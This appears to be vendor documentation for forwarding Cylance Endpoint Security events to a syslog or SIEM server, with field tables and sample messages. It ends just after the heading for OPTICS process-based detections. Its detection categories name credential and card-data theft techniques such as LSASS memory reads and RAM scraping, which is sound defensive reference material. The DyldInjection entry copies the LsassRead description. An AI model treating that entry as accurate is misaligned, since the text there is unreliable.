Cylance Syslog Guide

Contents

Sending Cylance Endpoint Security events to a SIEM solution or syslog server

You can configure Cylance Endpoint Security to forward events to a SIEM solution or syslog server. The content of each event is Unicode plain text consisting of key-value pairs, separated by commas. Due to the size limitations of most syslog servers, the details of each message are limited to 2048 characters.

If the Cylance Endpoint Security integration cannot successfully deliver syslog messages to a syslog or SIEM server, an email notification will be sent to administrators (built-in role) with a confirmed email address within an organization.

The maximum number of undelivered messages before the integration is disabled is 400. The first warning email is sent after a third of the maximum number of undelivered messages are sent. Each message attempts to be sent ten times before it fails to forward to a syslog or SIEM server and then transitions to a dead-letter queue.

Due to various factors, there may be delays in the reporting of events to a SIEM solution or syslog server, so it should not be used for real-time or near real-time monitoring.

Source IP addresses for messages

Syslog messages are sent from the following IP addresses, based on the login URL for your region:

Region	IP addresses
Asia-Pacific Northeast (protect-apne1.cylance.com)	• 13.113.53.36 • 13.113.60.107
Asia-Pacific Southeast (including Australia; protect-au.cylance.com)	• 52.63.15.218 • 52.65.4.232
Europe Central (protect-euc1.cylance.com)	• 52.28.219.170 • 52.29.102.181 • 52.29.213.11
North America (protect.cylance.com)	• 52.2.154.63 • 52.20.244.157 • 52.71.59.248 • 52.72.144.44 • 54.88.241.49
South America East (protect-sae1.cylance.com)	• 52.67.244.213 • 52.67.252.42

Configure Cylance Endpoint Security to send events to a SIEM solution or syslog server

1. In the management console, on the menu bar, click **Settings > Application**.
2. Click the **Syslog/SIEM** checkbox.
3. Select the events that you want to send to your organization's SIEM solution or syslog server.

   For more information about the different types of events, see any of the following sections:

   - CylancePROTECT Desktop event types
   - CylancePROTECT Mobile event types
   - CylanceOPTICS detection events
   - CylanceGATEWAY event types
   - CylanceAVERT event types
4. Select or type in the information for your SIEM or syslog integration. The other sections in this guide provide details and descriptions for each option.
5. In the **SIEM** drop-down list, click the appropriate SIEM solution or syslog server.
6. In the **Protocol** drop-down list, click the appropriate protocol. If you choose TCP, it is a best practice to select the **TLS/SSL** check box to ensure that the syslog message is encrypted in transit (verify that your SIEM solution or syslog server is configured to listen for messages).
7. If you want to include the full contents of fields with command line values, select the **Allow messages over 2 KB** check box. Currently this applies only to certain CylanceOPTICS message values.

   If you do not select this option, command line values in messages are truncated as necessary to keep the size of messages under 2 KB.
8. In the **IP/Domain** field, type the FQDN or IP address of the SIEM solution or syslog server.
9. In the **Port** field, type the port number that you want the SIEM solution or syslog server to listen on for messages. The port number must be between 1 and 65535.
10. In the **Severity** drop-down list, click the severity of the messages that should appear in the SIEM solution or syslog server. This value does not change the messages that are sent to the SIEM solution or syslog server.
11. In the **Facility** drop-down list, click the type of application that is logging the message. This value is used to categorize the messages that are received by the SIEM solution or syslog server.
12. If necessary, in the **Custom Token** field, type the custom token that your organization’s log management service (for example, SumoLogic) requires for SIEM or syslog messages.
13. Click **Test Connection** to verify that your settings are correct.
14. Click **Save**.

CylancePROTECT Desktop event types

Syslog events have standard fields like timestamp, severity level, facility, and a payload message.

CylancePROTECT Desktop application control

This option is only visible to users who have the application control feature enabled. Application control events represent actions occurring when the device is in application control mode. Selecting this option will send a message to the syslog server whenever an attempt is made to modify or copy an executable file, or when an attempt is made to execute a file from an external device or network location.

Field	Value	Description
Action	Allow	The event was allowed.
	Deny	The event was denied.
Action Type	Execution	An attempt to execute a file from the local drive was detected.
	ExecutionFromExternalDrive	An attempt to execute from an external drive or USB drive was detected.
	PEFileChange	An attempt to change a portable executable file on the file system was detected. This includes copying files onto the file system.
	Unknown	The action type could not be determined.
Device Name	[varies]	This is the name of the device.
Event Name	Execution	An attempt to execute a file from a local drive was detected.
	ExecutionFromExternalDrive	An attempt to execute from an external drive or USB drive was detected.
	PEFileChange	An attempt to change a portable executable file on the file system was detected. This includes copying files onto the file system.
	Unknown	The event name could not be determined.
Event Type	AppControl	This is an application control event.
File Path	[varies]	This is the path to the file.
IP Address	[varies]	This is the IP address for the device. Multiple IP addresses are comma separated values.

Field	Value	Description
SHA256	[varies]	This is the SHA256 hash for the file.
Zone Names	[varies]	These are the zones that the device belongs to.

Denying portable executable file changes

```
BlackBerry Protect Desktop: Event Type: AppControl, Event Name: pechange, Device
 Name: WIN-7entSh64, IP Address: (192.168.119.128), Action: PEFileChange, Action
 Type: Deny, File Path: C:\Users\admin\AppData\Local\Temp\MyInstaller.exe, SHA256:
 04D4DC02D96673ECA9050FE7201044FDB380E3CFE0D727E93DB35A709B45EDAA), Zone Names:
 (Script Test,Server Test)
```

Denying executions from an internal device

```
BlackBerry Protect Desktop: Event Type: AppControl, Event
 Name: executionfromexternaldrives, Device Name: WIN-7entSh64,
 IP Address: (192.168.119.128), Action: PEFileChange, Action
 Type: Allow, File Path: \\shared1\psexec.exe, SHA256:
 F8DBABDFA03068130C277CE49C60E35C029FF29D9E3C74C362521F3FB02670D5), Zone Names:
 (Script Test,Server Test)
```

CylancePROTECT Desktop audit log

Selecting this option will send the audit log of user actions performed in the management console to the syslog server. Audit log events will always appear in the audit log screen, even when this option is not enabled.

Field	Value	Description
Eco Id	[varies]	This is the administrator user's EcoID, if available.
Event Name	AuditLog	This is an audit log event.
	AcceptEula	The user accepted the End-User License Agreement (the first user to log in to a newly created tenant).
	AgentUpdate	The user updated the CylancePROTECT Desktop agent.
	ApplicationAdd	The administrator user created a custom application (on the Integration page). This includes the name of the application.
	ApplicationEdit	The administrator user updated the custom application name.
	ApplicationEdit	The administrator user changed the permissions for a custom application.

Field	Value	Description
	ApplicationEdit	The administrator user regenerated the credentials for the custom application.
	ApplicationRemove	The administrator user removed a custom application.
	CertificateRepositoryAddItem	The administrator user added a certificate. The message includes the name and thumbprint for the certificate.
	CertificateRepositoryDeleteItem	The administrator user deleted a certificate. The message includes the name and thumbprint for the certificate.
	CertificateRepositoryEditItem	The administrator user edited a certificate. The message includes the name and thumbprint for the certificate.
	CertificateSafelistAddItem	The administrator user added a certificate to the safe list.
	CertificateSafelistDeleteItem	The administrator user removed a certificate from the safe list.
	CustomAuthenticationDisable	The administrator user disabled custom authentication.
	CustomAuthenticationSave	The administrator user saved custom authentication settings.
	DeleteAllQuarantinedFiles	The administrator user issued a command from the management console to delete all quarantined files on a device.
	DeleteTokenThreatDataReport	The administrator user deleted the threat data report token.
	DetectionExceptionAdd	The administrator user added a CylanceOPTICS detection exception.
	DetectionExceptionEdit	The administrator user edited a CylanceOPTICS detection exception.
	DetectionExceptionRemove	The administrator user removed a CylanceOPTICS detection exception.
	DetectionRuleAdd	The administrator user added a CylanceOPTICS detection rule.

Field	Value	Description
	DetectionRuleEdit	The administrator user edited a CylanceOPTICS detection rule.
	DetectionRuleRemove	The administrator user removed a CylanceOPTICS detection rule.
	DetectionRuleSetAdd	The administrator user added a CylanceOPTICS detection rule set.
	DetectionRuleSetEdit	The administrator user edited a CylanceOPTICS detection rule set.
	DetectionRuleSetRemove	The administrator user removed a CylanceOPTICS detection rule set.
	DetectionsChangeStatus	The administrator user changed the status of a CylanceOPTICS detection.
	DetectionsRemove	The administrator user removed a CylanceOPTICS detection.
	DeviceAdd	The administrator user registered a device.
	DeviceChangeLockdownProfile	The administrator user changed the customized partial lockdown configuration for a device.
	DeviceEdit	The administrator user edited a device.
	DeviceFileDownload	The administrator user download a file that CylanceOPTICS identified as a potential threat.
	DeviceLock	The administrator user locked a device.
	DeviceRemove	The administrator user removed a device.
	DeviceShowUnlockKey	The administrator user revealed the unlock key for a device.
	DeviceUnlock	The administrator user unlocked a device.
	DownloadThreatDataReport	The administrator user downloaded the deprecated threat data report.
	EndUserAssignPolicy	The administrator user assigned a CylancePROTECT Mobile policy to one or more users. The message indicates the assigned users and policy.

Field	Value	Description
	EndUserAdd	The administrator user added a CylancePROTECT Mobile user. The message includes the CylancePROTECT Mobile user's email address and name.
	EndUserImport	The administrator user imported CylancePROTECT Mobile users. The message includes the CylancePROTECT Mobile user email addresses and names.
	EndUserRemove	The user administrator removed a CylancePROTECT Mobile user. The message includes the CylancePROTECT Mobile user's email address and name.
	EndUserSendInvitation	The administrator user sent an activation password and QR code to one or more CylancePROTECT Mobile devices. The message includes the CylancePROTECT Mobile user email addresses, a success count, and a failure count.
	FocusDataAdd	The administrator user retrieved focus data.
	GenerateTokenThreatDataReport	The administrator user generated a new token for the threat data report.
	GhostLoginSettingChange	The administrator user enabled or disabled the enable support login feature.
	GlobalListAdd	The administrator user added a file to the global list.
	GlobalListRemove	The administrator user removed a file from the global list.
	InstallationTokenDelete	The administrator user deleted the installation token.
	InstallationTokenRegenerate	The administrator user generated a new installation token.
	InstaQueryAdd	The administrator user added an InstaQuery.
	InstaQueryRemove	The administrator user removed an InstaQuery.
	InvitationUrlGenerate	The administrator user generated an invitation URL.

Field	Value	Description
	JobServiceStop	The administrator user stopped a package deploy job.
	LoginFailure	The administrator user failed to log in to the management console.
	LoginSuccess	The administrator user successfully logged in to the management console.
	MobileAlertsExport	The administrator user exported CylancePROTECT Mobile alert information from the management console. The message indicates any filters that were applied.
	MobileAlertsIgnore	The administrator user selected and ignored a CylancePROTECT Mobile alert. The message indicates the type and name of the mobile alert.
	MobileDeviceExport	The administrator user exported CylancePROTECT Mobile device information from the management console. The message indicates any filters that were applied.
	MobileDeviceRemove	The administrator user removed a CylancePROTECT Mobile device. The message indicates the removed user and device details.
	MobileExclusionsAdd	The administrator user added an app or developer certificate to the CylancePROTECT Mobile safe or unsafe list.
	MobileExclusionsRemove	The administrator user removed an app or developer certificate from the CylancePROTECT Mobile safe or unsafe list.
	MobilePolicyAdd	The administrator user added a CylancePROTECT Mobile policy. The message indicates the policy name and settings.
	MobilePolicyEdit	The administrator user edited a CylancePROTECT Mobile policy. The message indicates the policy name and changes.
	MobilePolicyRemove	The administrator user removed a CylancePROTECT Mobile policy. The message indicates the removed policy.
	NightlyThreatDataReportChange	The administrator user enabled or disabled the threat data report (on the applications page).

Field	Value	Description
	PackageDeployAdd	The administrator user added a package deploy.
	PackageDeployRemove	The administrator user removed a package deploy.
	PackagePlaybookAdd	The administrator user added a CylanceOPTICS package playbook.
	PackagePlaybookEdit	The administrator user edited a CylanceOPTICS package playbook.
	PackagePlaybookRemove	The administrator user removed a CylanceOPTICS package playbook.
	PlaybookResultRemove	The administrator user removed a CylanceOPTICS package playbook result.
	PolicyAdd	The administrator user added a policy. The message includes the policy name.
	PolicyEdit	The administrator user edited a policy. The message includes the policy name.
	PolicyRemove	The administrator user removed a policy. The message includes the policy name.
	PolicySafeListAdd	The administrator user added a file to the policy safe list. The message includes the SHA256 hash that was added.
	PolicySafeListRemove	The administrator user removed a file from the policy safe list. The message includes the SHA256 hash that was removed.
	RemoteResponseConnect	The administrator user opened a CylanceOPTICS remote response session with a device.
	RemoteResponseDisconnect	The administrator user closed a CylanceOPTICS remote response session.
	RequestToGenerateThreatDataReport	The administrator user enabled or disabled the Threat Data Report (on the Application page).
	ScriptControlExclusionListAdd	The administrator user added a script to the Global Safe List.
	ScriptControlExclusionListRemove	The administrator user removed a script from the Global Safe List.

Field	Value	Description
	SyslogDisable	The administrator user disabled the syslog feature.
	SyslogSettingSave	The administrator user saved the syslog settings.
	ThreatGlobalQuarantine	The administrator user added a file to the Global Quarantine List.
	ThreatQuarantine	The administrator user quarantined a file for an endpoint.
	ThreatSafeList	The administrator user added a file to the Global Safe List.
	ThreatWaive	The administrator user waived a file for an endpoint.
	UninstallAgentPasswordSave	The user saved a password after enabling the option to require a password to uninstall the CylancePROTECT Desktop agent.
	UninstallAgentRequirePasswordDisable	The user turned off the option to require users to specify a password to uninstall the CylancePROTECT Desktop agent.
	UserAdd	The administrator user created a user.
	UserEdit	The administrator user edited a user.
	UserRemove	The administrator user removed a user.
	ZoneAdd	The administrator user added a zone.
	ZoneAddDevice	The administrator user added a device to a zone.
	ZoneEdit	The administrator user edited a zone.
	ZoneRemove	The administrator user removed a zone.
	ZoneRemoveDevice	The administrator user removed a device from a zone.
	ZoneRuleAdd	The administrator user added a zone rule.
	ZoneRuleEdit	The administrator user edited a zone rule.
	ZoneRuleRemove	The administrator user removed a zone rule.

Field	Value	Description
Message	[varies]	The message contains information related to the action. Example: When a file is added to the global quarantine list, the message might include the file hash and the reason given for adding it to the global list.
User	[varies]	The user who logged in and triggered this audit log event.

Example message for audit log events that are sent to a syslog server or SIEM solution

```
BlackBerry Protect Desktop: Event Type: AuditLog,
 Event Name: ThreatGlobalQuarantine, Message: SHA256:
 A1E92E2E84A1321F499A5EC500E8B9A9C0CA28701668BF13EA56D3995A96153F,
 1CCC95B7B2F781D55D538CA01D6049762FDF6A75B32A06DF3CC2EDC1F1573BFA; Reason:
 Manually blacklisting these 2 threats., User: (johnsmith@contoso.com)
```

Example message for audit log events that are sent to syslog serve or SIEM solution with Eco Id

```
BlackBerry Protect Desktop: Event Type: AuditLog, Event Name: ZoneEdit, Message:
 Example message, User: (johnsmith@contoso.com, Eco Id: Bn6ZX201mlPgFzl/M9njAPI4=
```

Example message for API events sent to a syslog server or SIEM solution in audit log

API create/add, update, and delete events are captured in the audit log. In the example below, the term "user" appears twice. The first user is the name of the user being edited. The second user is the name of the management console user who triggered the audit event, and for an API event, this field is empty. The information on the user who performed the API event is not captured because the event was performed using an authentication token, not by a user logged into the management console.

```
BlackBerry Protect Desktop: Event Type: AuditLog, Event Name: UserEdit, Message:
 User: Jane Smith, User: (janesmith@contoso.com)
```

CylancePROTECT Desktop devices

Selecting this option sends device events to the syslog server.

Field	Value	Description
Agent Version	[varies]	This is the version of the CylancePROTECT Desktop agent installed on the device.
CylanceOPTICS Version	[varies]	If CylanceOPTICS is enabled, this is the version of the CylanceOPTICS agent installed on the device.

Field	Value	Description
Device Message	[varies]	The message is populated when the device details are changed by the user. This can include: name change, policy change, zone changes, log level change, and self-protection level change.
Device Name	[varies]	This is the name of the device.
Event Type	Device	This is a device event.
Event Name	Device Policy Assigned	A policy was assigned to the device.
	Device Removed	The device was removed from the management console.
	Device Updated	The device was updated.
	Device Assigned to Zone	The device was assigned to a zone or zones.
	Registration	A new device was registered with the management console.
	System Security	A message that is logged after a new device is registered and when a user logs on to the device.
IP Address	[varies]	This is the IP address for the device.
Kernel Version	[varies]	This is the operating system's running kernel version on the device.
Logged On Users	[varies]	These are the users currently logged on to the device. This could be the email address and/or user's name.
MAC Address	[varies]	This is the MAC address for the device.
OS	[varies]	This is the operating system used on the device.
Policy Change	[varies]	This shows the previous policy and the new policy assigned to the device.
Policy Name	[varies]	This is the name of the policy assigned to the device.
Renamed	"device_name" to "device_name"	This shows the previous name and the new name for the device.
User	[varies]	This is the name of the user updating the device.

Field	Value	Description
Zones Added	[varies]	These are the zone names to which the device has been added.
Zone Name	[varies]	These are the zone names to which the device is assigned.

New device registration events

When a new device is registered, you will receive two messages for this event: Registration and SystemSecurity.

SystemSecurity messages are also generated when a user logs on to a device, so you may receive this message after registration.

```
BlackBerry Protect Desktop: Event Type: Device, Event Name: Registration, Device
 Name: WIN-55NATVQHBU
```

```
BlackBerry Protect Desktop: Event Type: Device, Event Name: SystemSecurity, Device
 Name: WIN-55NATVQHBUU, Agent Version: 1.1.1270.58, IP Address: (10.3.0.154), MAC
 Address: (005056881877), Logged On Users: (WIN-55NATVQHBUU\Administrator), OS:
 Microsoft Windows Server 2008 R2 Standard Service Pack 1 x64 6.1.7601
```

Example message when removing a device

When a device is removed, you will receive the following message for this event: Device Removed.

```
BlackBerry Protect Desktop: Event Type: Device, Event Name: Device Removed, Device
 Names: (jsmithxp-test), User: (jsmith@contoso.com)
```

Example message when updating a device

When a device's policy, zone, name, or logging level has changed, you will receive the following message for this event: Device Updated.

```
BlackBerry Protect Desktop: Event Type: Device, Event Name: Device Updated,
 Device Message: Renamed: 'WIN-55NATVQHBUU' to 'WIN-2008R2-IRV1'; Policy
 Changed: 'Default' to 'IRVPolicy1'; Zones Added: 'IRV1', User: John Smith
 (johnsmith@contoso.com)
```

CylancePROTECT Desktop device control

When this option is selected, any device control events will be logged to the syslog server.

Field	Value	Description
Device Name	[varies]	This is the name of the device associated with the device control event.
Event Type	DeviceControl	This is the type of event.
Event Name	Block	A USB mass storage device cannot be used on the device (set in device policy).

Field	Value	Description
	Fullaccess	A USB mass storage device can be used on the device (set in device policy).
External Device Type	AndroidUSB	The external device is an Android device.
	iOS	The external device is an iOS device.
	StillImage	This external device is a still image device, like a camera.
	USBCDDVDRW	This external device is a USB disc drive (CD, DVD, Blu-ray).
	USBDrive	This external device is a USB drive, like a thumb drive.
	VMWareMount	This external device is a VMware USB PassThrough.
	WPD	This external device is a Windows Portable Device.
External Device Name	[varies]	The name given to the external device.
External Device Product ID	[varies]	This varies by manufacturer.
External Device Serial Number	[varies]	This varies by manufacturer.
External Device Vendor ID	[varies]	This varies by manufacturer.
Zone Names	[varies]	These are the zones that the device belongs to.

Example message for device control events

```
BlackBerry Protect Desktop: Event Type: DeviceControl, Event Name: fullaccess,
 Device Name: Test_Device_1, External Device Type: iOS, External Device Vendor ID:
 1953, External Device Name: Generic USB Drive - 2017/02/16-01, External Device
 Product ID: 0202, External Device Serial Number: 575833314133343210041246, Zone
 Names: (test_zone_02)
```

For Windows, Android devices may be identified as Still Image or Windows Portable Device.

CylancePROTECT Desktop memory protection

Selecting this option will log any memory exploit attempts that might be considered an attack from any of the Tenant's devices to the syslog server. For full descriptions of each violation type, see memory protection violation types in the Cylance Endpoint Security Setup content.

Field	Value	Description
Action	Allowed	The event is allowed because of a policy.
	Blocked	The event is blocked because of a policy.
	None	The event is allowed because no policy has been defined for this violation.
	Terminated	The process has been terminated.
Device ID	[varies]	The unique ID for the device.
Device Name	[varies]	The name of the device.
Event Type	ExploitAttempt	A memory protection event is known as an exploit attempt.
Event Name	Allowed	The file was allowed to run, either because it was added to an exclusion or the action was set to None (Ignore).
	Blocked	The exploit attempt was blocked. However, if a process was started before the exploit was blocked (for example, the process was started before memory protection was enabled), the process will continue to run.
	None	This is an alert only. No actions were taken on the exploit attempt.
	Terminated	The exploit attempt was blocked, and any processes were terminated.
IP Address	[varies]	The IP address or IP addresses for the device.
Process ID	[varies]	The process ID for the event.
Process Name	[varies]	The fully qualified path of the process.
User Name	[varies]	The name of the user currently logged in to the device.

Field	Value	Description
Violation Type	DyldInjection	The memory belonging to the Windows Local Security Authority process has been accessed in a manner that indicates an attempt to obtain users' passwords.
	LsassRead	The memory belonging to the Windows Local Security Authority process has been accessed in a manner that indicates an attempt to obtain users' passwords.
	MaliciousPayload	A generic shellcode and payload detection associated with exploitation has been detected.
	OutOfProcessAllocation	Remote Allocation of Memory: A process has allocated memory in another process. Most allocations will only occur within the same process. This generally indicates an attempt to inject code or data into another process, which may be a first step in reinforcing a malicious presence on a system.
	OutOfProcessApc	Remote APC Scheduled.
	OutOfProcessCreateThread	Remote Thread Creation: A process has created a new thread in another process. A process's threads are usually only created by that same process. This is generally used by an attacker to activate a malicious presence that has been injected into another process.
	OutOfProcessMap	Remote Mapping of Memory: A process has allocated memory in another process. Most allocations will only occur within the same process. This generally indicates an attempt to inject code or data into another process, which may be a first step in reinforcing a malicious presence on a system.

Field	Value	Description
	OutOfProcessOverwriteCode	Remote Overwrite Code: A process has modified executable memory in another process. Under normal conditions executable memory will not be modified, especially by another process. This usually indicates an attempt to divert execution in another process.
	OutOfProcessUnmapMemory	Remote Unmap of Memory: A process has removed a Windows executable from the memory of another process. This may indicate an intent to replace the executable image with a modified copy for the purpose of diverting execution.
	OutOfProcessWrite	Remote Write to Memory: A process has modified memory in another process. This is usually an attempt to store code or data in previously allocated memory (see OutOfProcessAllocation) but it is possible that an attacker is trying to overwrite existing memory in order to divert execution for a malicious purpose.
	OutOfProcessWritePe	Remote Write PE to Memory: A process has modified memory in another process to contain an executable image. Generally this indicates that an attacker is attempting to execute code without first writing that code to disk.
	OverwriteCode	The code residing in a process's memory has been modified using a technique that may indicate an attempt to bypass Data Execution Prevention (DEP).
	RamScraping	A process is trying to read valid magnetic stripe track data from another process. This is typically related to point of sale systems (POS).
	StackPivot	A generic shellcode and payload detection associated with exploitation has been detected.

Field	Value	Description
	StackProtect	The memory protection of a thread's stack has been modified to enable execution permission. Stack memory should not be executable, so this usually means that an attacker is preparing to run malicious code stored in stack memory as part of an exploit, an attempt which would otherwise be blocked by Data Execution Prevention (DEP).
	ZeroAllocate	A null page has been allocated. The memory region is typically reserved, but in certain circumstances it can be allocated. Attacks can use this to setup privilege escalation by taking advantage of some known null de-reference exploit, typically in the kernel.
Zone Names	[varies]	The zones associated with the device.

Example message for memory protection events

```
BlackBerry Protect Desktop: Event Type: ExploitAttempt, Event Name: blocked,
 Device Name: WIN-7entSh64, IP Address: (192.168.119.128), Action: Blocked,
 Process ID: 3804, Process Name: C:\AttackTest64.exe, User Name: admin,
 Violation Type: LSASS Read, Zone Names: (Script Test,Server Test), Device ID:
 e378dacb-9324-453a-b8c6-5a8406952195
```

CylancePROTECT Desktop script control

Selecting this option will log any newly found scripts, convicted by CylancePROTECT Desktop, to the syslog server.

Syslog script control events contain the following properties:

- Alert: The script is allowed to run. A script control event is sent to the management console.
- Block: The script is not allowed to run. A script control event is sent to the management console.

Reporting frequency

The first time a script control event is detected, a message is sent via syslog with full event information. Each subsequent event that is deemed a duplicate will not be sent via syslog for the remainder of the day. At the end of the day, if the counter for a specific script control event is greater than one, an event will be sent via syslog with the count of all duplicate events that have transpired that day. If the counter equals one at the end of the day, no additional message will be sent by the syslog serve or SIEM solution.

Determining if a script control event is a duplicate uses the following logic:

- Look at key information: Device, Hash, Username, and Block/Alert.
- For the first event received in a day, set a counter value to 1. There are separate counters for Block and Alert.
- All subsequent events with the same key increment the counter.

- The counter resets each calendar day.

Example: If script A runs on Device 1 at 11:59PM on 9/20/18 and then again at 12:05AM, 12:10AM, and 12:15AM on 9/21/18, the following will occur:

- One syslog message will be sent on 9/20/18 for the one script control event for that day.
- One syslog message will be sent on 9/21/18 for the two duplicate script control events for that day.

Only one syslog message is sent on 9/21/18 because the events are duplicates of the event that occurred on 9/20/18.

Field	Value	Description
Device ID	[varies]	This is the unique ID for the device.
Device Name	[varies]	This is the name of the device.
Event Type	ScriptControl	This is a script control event.
Event Name	Alert	This is an alert only. No actions were taken on the script control event.
	Blocked	The script control event was blocked.
	None	No action was taken on the script control event.
	Unknown	It could not be determined if any action was taken on the script control event.
File Path	[varies]	This is the path to the file.
Interpreter	ActiveScript	This is the interpreter that detects VBScript and Jscript that run from the Windows Script Host (WSH).
	MacroScript	This is the interpreter that detects macros in Microsoft Office documents.
	Powershell	This is the interpreter that detects PowerShell scripts.
Interpreter Version	[varies]	This is the version number of the interpreter.
Policy Name	[varies]	This is the name of the policy assigned to the device.
SHA256	[varies]	This is the SHA256 hash for the file.
Zone Names	[varies]	These are the names of the zones to which the device belongs.

Example message for script control events

```
BlackBerry Protect Desktop - - - Event Type: ScriptControl,
 Event Name: Blocked, Device Name: Fake_Device, File Path: d:
\windows\system32\windowspowershell\v2.1\newlyMade.vbs, SHA256:
 FE9B64DEFD8BF214C7490BB7F35B495A79A95E81F8943EE279DC99998D3D3440, Interpreter:
 active, Interpreter Version: 6.1.7600.16385 (win7_rtm.090713-1255), Zone Names:
```

```
(Script Test,Server Test), Device ID: e378dacb-9324-453a-b8c6-5a8406952195,
Policy Name: Default
```

CylancePROTECT Desktop threats

Selecting this option will log any new threats, or changes observed to existing threats, to the syslog server. Examples of changes include removing, quarantining, or waiving threats.

Field	Value	Description
Auto Run	False	The threat is not set to automatically run when the system starts.
	True	The threat is set to automatically run when the system starts.
	Unknown	It cannot be determined if the threat is set to auto run or not.
BlackBerry Score	Ranges from 1 to 100	A file with a score ranging from 1 to 59 is considered Abnormal. A file with a score ranging from 60 to 100 is considered Unsafe.
Detected By	ExecutionControl	The threat is detected by execution control.
	BackgroundThreatDetection	The threat is detected by background threat detection.
	FileWatcher	The threat is detected when scanning new or modified executable files.
	NotAvailable	The threat detection information is not available.
	RunningModuleScan	The threat is detected by running a module scan.
Device Name	[varies]	This is the name of the device that the threat was found on.
Drive Type	[varies]	This is the type of drive or storage device the threat originated from, if known. The drive type includes: CDROM, Fixed, Network, None, No Root Directory, RAM, and Removable.
Event Name	threat_found	A new threat has been found in an unsafe state.
	threat_cleared	An existing threat has been cleared (removed). This occurs when a threat_removed event is generated.

Field	Value	Description
	threat_quarantined	A new threat has been found in the quarantined status.
	threat_waived	A new threat has been found in the waived status.
	threat_changed	The behavior of an existing threat has changed (examples: score, quarantine status, running status).
	corrupt_found	A file is classified as corrupt because the file appears to be malformed and cannot run, or the file may contain a malformed file structure.
Event Type	Threat	This is a threat event.
File Name	[varies]	This is the name of the threat (file).
File Owner	[varies]	This is the owner of the threat (file).
File Type	Archive	The file is an archive file.
	Executable	The file is a Windows executable.
	Linuxexe	The file is a Linux executable.
	MacOSExe	The file is a macOS executable.
	Ole	The file is a Microsoft Office file.
	Pdf	The file is a PDF.
	Unknown	The file type could not be determined.
Found Date	[varies]	This is the date and time that the threat was found on the device.
IP Address	[varies]	This is the IP address or IP addresses for the device.
Is Malware	False	The threat is not classified as malware (Threat Classification).
	True	The threat is classified as malware (Threat Classification).
Is Running	False	The threat is not running.
	True	The threat is currently running.

Field	Value	Description
Is Unique To	False	The threat is not uniquely identifiable by CylancePROTECT Desktop.
	True	The threat is uniquely identifiable by CylancePROTECT Desktop.
MD5	[varies]	This is the MD5 hash for the file.
Path	[varies]	This is the path to the file.
SHA256	[varies]	This is the SHA256 hash for the file.
Status	Abnormal	The threat is considered abnormal.
	Cleared	The administrator added the threat to the global safe list or deleted the threat in the management console, or the user deleted the threat on the device.
	Corrupt	The file is corrupt or otherwise invalid.
	Quarantined	The file has been quarantined because an administrator added it to the global quarantine list or quarantined it on a specific device.
	Unsafe	The threat is considered unsafe.
	Waived	The administrator waived the file, allowing it to run on a specific device.
Threat Classification	File Unavailable	The file is unavailable due to an upload constraint (for example, the file is too large to upload). The file is unavailable for analysis.
	Malware	The file is classified as malware.
	Possible PUP	The file might be a potentially unwanted program (PUP).
	PUP	The file is considered a potentially unwanted program (PUP).
	Trusted	The file is considered trusted.
	Unclassified	The CylancePROTECT cloud services have not analyzed this file.
Zone Names	[varies]	These are the names of the zones where the threat was found.

Example message for threat events

```
BlackBerry Protect Desktop: Event Type: Threat, Event Name: threat_found,
 Device Name: SH-Win81-1, IP Address: (10.3.0.132), File Name:
 virusshare_00fbc4cc4b42774b50a9f71074b79bd9, Path: c:\ruby\host_automation
\test\data\test_files\, Drive Type: None, File Owner: SH-Win81-1\Exampleuser,
 SHA256: 1EBF3B8A61A7E0023AAB3B0CB24938536A1D87BCE1FCC6442E137FB2A7DD510B, MD5: ,
 Status: Unsafe, Cylance Score: 100, Found Date: 6/1/2015 10:57:42 PM, File Type:
 Executable, Is Running: False, Auto Run: False, Detected By: FileWatcher), Zone
 Names: (Script Test,Server Test), Is Malware: False, Is Unique to Cylance: False,
 Threat Classification: File Unavailable
```

CylancePROTECT Desktop threat classifications

Each day, the CylancePROTECT cloud services will classify hundreds of threats as either malware or potentially unwanted programs (PUPs). By selecting this option, you are subscribing to be notified when these events occur. For full descriptions of each threat class and subclass, read the Threat Classification FAQ knowledge base article.

Field	Value	Description
Event Name	ResearchSaved	These are threat classification additions and changes from the BlackBerry Threat Research Team.
	ThreatUpdated	The threat details have been updated.
Event Type	ThreatClassification	This is a threat classification event.
MD5	[varies]	This is the MD5 hash for the file.
SHA256	[varies]	This is the SHA256 hash for the file.
Threat Class	Dual Use	The file can be used for malicious and non-malicious purposes.
	File Unavailable	The file is unavailable for analysis. For example, the file is too large to upload.
	Malware	The file has been identified as malicious.
	Possible PUP	The file might be a potentially unwanted program (PUP).
	PUP	The file has been identified as a possible potentially unwanted program (PUP).
	Trusted	The file has been identified as safe.
Threat Subclass	Adware	The file has advertisements or unwanted bundled add-ons.
	Backdoor	The file provides unauthorized access.

Field	Value	Description
	Bot	The file contains malware that connects to a botnet server.
	Corrupt	The file is malformed or unable to run.
	Crack	The file is altered to bypass licensing.
	Downloader	The file contains malware that downloads data.
	Dropper	The file contains malware that installs other malware.
	Exploit	The file attacks a specific vulnerability.
	Fake Alert	The file contains malware that appears to be legitimate security software.
	Fake AV	The file contains malware that appears to be legitimate security software.
	Game	This is a game file.
	Generic	This file does not fit into any existing category.
	Hacking Tool	This file is a hacking tool.
	Infostealer	This file records login credentials and other sensitive information.
	Keygen	This file generates product keys.
	Monitoring Tool	This file tracks a user's activities.
	Other	This is a category used for PUPs that don't fit anything else.
	Parasitic	This threat is spread by attacking other programs.
	Pass Crack	This file is used to reveal passwords.
	Portable Application	This file is designed to run without needing installation.
	Ransom	This file restricts access.
	Remnant	These are remnants post removal.
	Remote Access	This file can access another system remotely.

Field	Value	Description
	Rootkit	This file avoids detection.
	Scripting Tool	This is any script that can run as if it were an executable.
	Tool	These are administrative features used to attack or intrude.
	Toolbar	This is any technology that places additional buttons or input boxes on-screen.
	Trojan	This file disguises itself as legitimate software.
	Virus	This file inserts or appends itself to other files.
	Worm	This file propagates by copying itself to another device.

Example message for threat classifications

```
BlackBerry Protect Desktop: Event Type: ThreatClassification, Event Name:
 ResearchSaved, SHA256:
 1218493137321C1D1F897B0C25BEF17CDD0BE9C99B84B4DD8B51EAC8F9794F65, Threat
 Classification: Malware - Worm
```

CylanceOPTICS detection events

This option is visible only to users who have CylanceOPTICS enabled. CylanceOPTICS events represent malicious or suspicious events detected by the CylanceOPTICS Context Analysis Engine (CAE). Selecting this option will send a message to the syslog server whenever an applicable CylanceOPTICS detection rule or threat detection module is triggered on a CylanceOPTICS device. Selecting this option will enable syslog messages for the following detection event types: process events, file events, registry events, network events, and memory events.

Due to the volume of information included in CylanceOPTICS detection events, the syslog representation of a detection event is reduced in size, and it does not contain the full set of information that is available from the management console or the API.

CylanceOPTICS process-based detection events

